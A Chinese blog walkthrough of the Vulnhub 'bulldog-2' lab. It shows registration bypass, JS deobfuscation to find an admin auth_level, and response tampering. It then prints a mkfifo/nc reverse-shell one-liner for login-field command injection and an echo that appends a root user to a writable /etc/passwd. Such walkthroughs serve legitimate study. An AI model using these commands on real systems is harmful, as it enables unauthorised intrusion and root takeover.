Vulnhub百个项目渗透
Vulnhub百个项目渗透——项目四十六:bulldog-2(登陆框命令执行,写入用户)
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年10月22日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
巅峰之路
- Vulnhub百个项目渗透
- 前言
- 信息收集
- 绕过注册
- js文件解码
- 登陆框命令执行
- 提权
前言
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
信息收集
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-title: Bulldog.social
|_http-server-header: nginx/1.14.0 (Ubuntu)
MAC Address: 08:00:27:52:27:F8 (Oracle VirtualBox virtual NIC)
获得了以下几个用户名
Sarah Dubree
William Katz
Johnathan Abbey
Winston Churchy
还有一个图片,分析过后没有找到任何信息
然然后不允许注册,这里注册可能可以绕过
但是我们先扫目录
这里很显然有waf,因为全都报的存在,那么应该要注意waf对我们操作的影响
绕过注册
绕过注册我们可以先看看前段有什么js包,里面可能会有关于注册的一些信息,并且要不停的抓包分析
f12发现有五个js包,我们直接双击打开,ctrl+f搜索 register
发现注册需要邮箱和name
然后就构造一下post内容
{
"name": "1",
"email": "1@1.com",
"username": "1",
"password": "1"
}
再去注册页面刷新抓包,改掉请求头
POST /users/register HTTP/1.1
这是登陆界面的包
这是更改过后发的包
发现用户名全都显示在了url中
此时此刻我觉得只要我能找到一个用户名,我就能登录进去
但是之前获得的那几个都不行,admin也不行
那现在就再抓包分析一下
登陆界面抓包发现了一串jwt
可以看到再回应包中有一个新的参数
“auth_level”: “standard_user”
说我们是标准用户
那说明只要我们在新注册用户的时候申明我们是admin用户,那不就相当于创建了一个admin用户嘛
那么现在就是要找到admin用户的这个声明是什么(但是不能注册的时候声明,因为注册的post内容有限制,我后来失败了)
上面是一串jwt解密
先去解密
啥也没有,继续去就是包找,关键字段:
auth_level
js文件解码
https://deobfuscate.io/
放到本地随便找个编辑器就行
找到了:
master_admin_user
Do intercept -> Response to this request
然后直接放包,就会收到返回包,然后直接修改
登陆框命令执行
发现还有一个登陆,那就接着抓包分析发现无论我们输入啥,都会显示200ok,说明服务器能正确接受并响应,那就猜测这里存在远程命令执行
添加了一个双引号:"
发现报错并且暴露了铭感信息
/var/www/node/Bulldog-2-The-Reckoning/
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.140 8888 >/tmp/f
本地开个端口接着就行
提权
搜集到的信息
admin❌1000:1004:admin:/home/admin:/bin/bash 27(sudo)
node❌1001:1005:,:/home/node:/bin/bash
root❌0:0:root:/root:/bin/bash
3)[+] Writable passwd file? … /etc/passwd is writable
密码可以写
那就是写个用户就完事了
perl -le 'print crypt("rong","aa")'
这里会回显一个加密后的密码aa3ivx.lC6a0w
echo 'rongroot:aa3ivx.lC6a0w:0:0:rongroot:/root:/bin/bash' >>/etc/passwd
su rongroot